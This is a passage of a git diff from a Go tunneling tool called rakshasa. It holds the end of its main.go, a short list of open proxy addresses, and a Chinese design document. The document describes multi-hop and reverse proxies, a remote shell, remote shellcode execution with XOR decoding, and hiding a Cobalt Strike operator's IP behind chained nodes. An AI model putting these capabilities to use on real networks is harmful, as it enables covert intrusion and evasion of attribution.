log.Fatalln("remoteSocks5启动失败", err) + } + log.Println("remoteSocks5 启动成功") + } else if *http_proxy != "" { + cfg, err := common.ParseAddr(*http_proxy) + if err != nil { + log.Fatalln(err) + } + if err := server.StartHttpProxy(cfg, config.DstNode, *http_proxy_pool); err != nil { + log.Fatalln("httpProxy启动失败", err) + } + log.Println("httpProxy 启动成功") + } + + if !*noCLI { + common.SetConsoleVT() + server.CliRun() + + } else { + var wait sync.WaitGroup + wait.Add(1) + wait.Wait() + } + +} diff --git a/out.txt b/out.txt new file mode 100644 index 0000000..e239904 --- /dev/null +++ b/out.txt @@ -0,0 +1,4 @@ +104.223.135.178:10000 +169.55.89.6:80 +216.215.123.174:8080 +3.94.182.57:7497 diff --git a/rakshasa项目设计.md b/rakshasa项目设计.md new file mode 100644 index 0000000..b758684 --- /dev/null +++ b/rakshasa项目设计.md @@ -0,0 +1,358 @@ +## 1. rakshasa简介 + +rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级代理**,**内网穿透**网络请求。它可以在节点群中任意两个节点之间转发tcp请求和响应,同时支持**socks5代理**,**http代理**,并可**引入外部http、socks5代理池,自动切换请求ip**。 + +节点之间使用内置证书的TLS加密TCP通信,再叠加一层自定义秘钥的AES加密。该程序可在所有Go支持的平台上使用,包括Windows和Linux服务器。 + + + + + +## 2. 功能要求 + +- 自动实现多层代理 +- 支持Tcp转发代理。 +- 支持Tcp反向代理 +- 支持Socks5代理 (包含UDP和TCP6) +- 支持Socks5反向代理 +- 支持HTTP代理 (爬虫利器,流量出口支持代理池) +- 去中心化。 +- 支持多个节点连接。 +- 支持配置文件,可以配置代理服务器的端口、目标服务器的地址和端口、证书文件等信息。 +- 支持日志记录,记录代理服务器的请求和响应信息。 +- CLI模式实现远程Shell。 +- 执行shellcode。 + + + +## 3. 技术选型 + +- Go语言:因为Go语言是一门高效的并发编程语言,非常适合网络编程。 +- github.com/abiosoft/ishell包:实现各操作系统中的CLI。 +- github.com/creack/pty包:实现Linux伪终端,可以执行交互式命令与更高级的终端显示效果。 +- github.com/dlclark/regexp2包:全功能正则表达式 。 + +## 4. 项目结构 + +项目应按按照以下结构组织: + +```go + + ├── aes //使用标准库crypto实现aes加密 + ├── cert //证书存放目录,使用embed内嵌到二进制文件 + ├── common //协议编码格式与配置文件 + ├── gencert //go实现的证书生成,可以生成临时证书 + ├── httppool //http代理池检测相关 + ├── readline //二开以实现更强大的交互式CLI + ├── readme //使用文档 + ├── server //核心代码 + ├──cli.go //Cli初始化 + ├──config.go //保存读取config.yaml + ├──conn.go //定义结构体,网络连接conn启动,监听,转发 + ├──http_proxy.go //http代理 + ├──lock.go //对标准库的sync.RWMutex进行二次封装,以便于开发调试时找到死锁 + ├──node.go //节点代码,实现节点消息广播注册发现 + ├──oder.go //排序代码 + ├──raw_tcp_client.go //tcp转发的client代码 + ├──raw_tcp_server.go //tcp转发的server代码 + ├──remote_socks5.go //socks5反向代理 + ├──shell.go //交互式CLI + ├──shell_linux.go //linux系统下启动shell + ├──shell_windows.go //windows系统下启动shell + ├──shellcode.go //执行shellcode + ├──shellcode_linux.go //暂未实现 + ├──shellcode_windows.go //windows下执行shellcode + ├──socks5.go //socks5正向代理 +├── main.go +├── config.yaml +├── go.mod +└── go.sum +``` + +## 5. YML配置详解 + +程序启动时需指定-f参数来读取YML文件: + +```yaml +dstnode: + - 192.168.1.180:8883 #可以留空,上级节点的ip端口,rakshasa没有公共节点也不会自动发现节点,需要config指定或者启动后使用命令连接其他节点 +password: "" #通讯秘钥,可以额外指定秘钥,各节点除了证书需要匹配之外,秘钥也需要相同,避免二进制泄漏后被别人无脑连接 +port: 8883 #监听端口 +listenip: #外网ip,当某个节点掉线后,会尝试连接这个ip + - 192.168.1.151 +limit: false #节点掉线后的行为模式,为ture的时候,只连接dstnode指定的ip,不会连接其他节点;为false的时候,尝试连接所有已记录节点的listenip与port +filename: config.yaml #yaml的文件名,执行保存config命令的时候,会将配置写入这个文件 +``` + +注:节点掉线之后能自动连接,其关键诀窍就是listenip填写公网ip,节点掉线后就会尝试连接已保存的ip和端口。 + +## 6. 启动参数 + +- -p port + + 设置本地节点监听端口,默认8883 + +- -d 用户名:密码@ip:端口 + + 连接到某个上级节点,多个节点以,隔开,从左到右依次往上连接,例如-d A,B,C,先连接A然后以A为跳板尝试连接B,再以B为跳板尝试连接C + +- -connect ip:port,remote_ip:remote_port + + tcp正向代理,本地监听ip:port,将数据通过-d服务器 发送到remote_ip:remote_port + +- -bind ip:port,remote_ip:remote_port + + tcp反向代理转发模式, -d服务器 监听remote_ip:remote_port,将数据通过本机节点发送到 ip:port + +- -socks5 用户名:密码@ip:端口 + + 以本地socks5代理服务端模式运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器 + +- -remotesocks5 用户名:密码@ip:端口 + + 在-d的节点上启动一个远程socks5代理,并通过本机节点转出数据 + +- -http 用户名:密码@ip:端口 + + 以本地http代理服务端模运行,通过-d的服务器多级代理转出数据,如果没有-d参数,则相当于建立了一个本地socks5代理服务器 + +- -http_proxy_pool 文件路径 + + http代理最后一层网络出口代理池,参数为文件路径,每个代理一行,每次请求换一个代理 + +- -check_proxy 单个代理地址或者文件路径 + + 检查http代理是否有效,传入参数可以是ip:port 或者文件,当前支持ipv4,并将结果保存到-check_proxy_out,可选参数-check_proxy_timeout,-check_proxy_url + +- -check_proxy_out 文件路径 + + 将有效的代理地址保存到该文件,默认为out.txt + +- -check_proxy_timeout int(秒) + + 检查代理的超时参数 + +- -check_proxy_url 网址 + + 针对指定的url作为代理池的检测目标,目标返回200ok测为检测通过,默认为https://myip.fireflysoft.net/ + +- -check_proxy_anonymous true|false + + 检测代理是否匿名,非匿名代理不保存,默认为true,必须使用默认url + +- -f 文件路径 + + 配置文件路径,为空的时候不读取 + +- -ip ip地址 + + 设置本地节点指定公网ip,多个ip以,间隔 + +- -limit true|false + + limit模式,只连接-d的服务器,不进行额外节点连接,默认为false + +- -noshell + + 不启动shell + + + +- -password 秘钥 + + 通讯二次加密秘钥,可为空 + +- -sParam string + + shellcode的运行参数 + +- -sTimeout int(秒) + + shellcode的超时等待时间,默认3秒 (default 3) + +- -sXor string + + shellcode的xor解码密钥 + +- -shellcode string + + 与-d配合指定节点执行shellcode,-d参数为空则为本节点执行,可以为base64或者hex编码 + +## 7. 带参数启动使用例子 + +```shell +rakshasa -socks5 1080 -d 192.168.1.2:1080 +// 在本地1080端口启动一个socks5,连接到192.168.1.2的节点上,流量出口位于 192,.168.1.2 +``` + +```shell +rakshasa -remotesocks5 1081 -d 192.168.1.2:1080,192.168.1.3:1080 +//方向从右往左(加上本机应该是3个节点),在192.168.1.3这台机器上开启一个socks5端口1081,流量穿透到本地节点出去 +``` + +```shell +//本地监听并转发到指定ip端口,使用场景本机cs连接teamserver,隐藏本机ip +rakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 +//本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后,再连接到192.168.1.2:50050 teamserver,teamserver看到你的ip是最后一个节点的ip +``` + +```shell +//远端监听端口,流量转到本地再出去,为-connect的反向代理模式 +rakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080 +//与上面相反,在最右端节点监听端口50050,流量到本机节点后,最终发往192.168.1.2,最终上线 IP 为本机 IP +``` + +## 8. 命令行CLI模式 + +##### 名词介绍与使用要点 + +- 每个节点都会生成一个UUID,重启后UUID会改变 +- 大部分子命令菜单下,都集成了 new(连接节点)、print(打印节点)、ping(测试节点延迟)功能 +- 可用 print 命令,查看在当前节点下,各个节点的 ID、UUID 和 IP 端口。 +- 与其他节点进行交互的时候,可以使用ID、UUID、IP:端口去操作,如: + +```shell +rakshasa>print +ID UUID HostName GOOS IP listenIP +----------------------------------------------------------------------------------------------------------------------------- + 1 33fe3ab6-36fe-4636-b684-6f9d9e417981 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8883 +rakshasa>ping 1 +rakshasa>ping 33fe3ab6-36fe-4636-b684-6f9d9e417981 +rakshasa>ping 192.168.1.151:8883 +``` +- noCLI 不能使用命令行CLI模式 + +启动rakshasa,默认监听8883,执行help + +```shell +start on port: 8883 +rakshasa>help + +Commands: + bind 进入bind功能 + clear clear the screen + config 配置管理 + connect 进入connect功能 + exit exit the program + help display help + httpProxy 进入httpProxy功能 + new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 + ping ping 节点 + print 列出所有节点 + remoteShell 远程shell + remoteSocks5 进入remoteSocks5功能 + shellcode 执行shellcode + socks5 进入socks5功能 +``` + + + +连接到其他节点,print当前网络所有节点 + +```shell +rakshasa>new 127.0.0.1:8881 +rakshasa>print +ID UUID HostName GOOS IP listenIP +----------------------------------------------------------------------------------------------------------------------------- + 1 33fe3ab6-36fe-4636-b684-6f9d9e417981 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8883 + 2 6a6dafb7-ddc9-4da3-afd2-5423038b20ab DESKTOP-KP6GDI2 windows x64 192.168.1.151:8882 + 3 abc6c7aa-52d0-4a33-8688-cd2df23641cd DESKTOP-KP6GDI2 windows x64 (localhost):8883 + 4 e06abfdc-320e-4eb1-9545-8fdf1536fd86 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8880 + 5 e19e6d3e-4cdf-4573-9357-d31ee33587f7 DESKTOP-KP6GDI2 windows x64 192.168.1.151:8881 +``` + + 测试某个节点延迟 + +```shell +rakshasa>ping 6a6dafb7-ddc9-4da3-afd2-5423038b20ab +ping 6a6dafb7-ddc9-4da3-afd2-5423038b20ab 674µs +``` + +特别说明,如果使用UUID操作某一命令,则会自动根据网络连接情况,将消息发送到该节点 +如下图例子,我们处于内网的节点A,通过ip可以连接到B公网的机器,不能连到CD,但是B和C是连通,C和D是连通的。 +当我们请求D机器的时候,消息会通过B,C最终到达D,不需要特别指定。 +![图片](data:image/png;base64,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